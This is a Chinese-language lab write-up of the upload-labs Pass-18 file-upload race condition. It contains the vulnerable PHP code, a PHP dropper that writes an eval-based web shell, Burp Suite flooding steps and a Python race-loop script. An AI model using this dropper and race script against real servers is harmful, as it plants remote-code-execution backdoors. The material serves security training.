Pass-18 条件竞争
审计源码
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
可以看到首先使用move_uploaded_file
将文件进行上传,然后进行后缀名判断,如果不满足.jpg|.png|.gif
文件类型,直接删除
这里的漏洞就是我们的文件首先可以上传到服务区,服务器经过if语句
判断是否删除该文件
那么我们在服务器没有删除文件的时候,进行访问上传的PHP
文件,上传PHP
访问执行后会生成一个一句话木马文件
上传文件取名为create-shell.PHP
<?PHP fwrite(fopen('shell.PHP','w'),'<?PHP @eval($_POST[cmd]);?>');?>
首先我们使用
burpsuite
抓包,爆破模式一直上传文件首先
clear
清楚所有变量在末尾加入
1
,然后点击设置为变量然后点击
payload
然后点击
Options
,设置完点击Start attack
为开始攻击,这里先展示不开始攻击写一个访问
creat-shell.PHP
文件,并判断shell.PHP
是否已经生成的python
脚本转载于:【upload-labs】条件竞争pass-17~pass-18
import requests
url1 = "http://ip/upload-labs/upload/create-shell.PHP" # 定义访问 creat-shell.PHP
url2 = "http://ip/upload-labs/upload/shell.PHP" # 定义访问 shell.PHP
while True: # 定义死循环
html1 = requests.get(url1) # 请求 create-shell.PHP
html2 = requests.get(url2) # 请求 shell.PHP
if html2.status_code == 200: # 如果 shell.PHP 返回的http状态码为200
print('Good job,Win Win Win') # 打印 Good job.....
break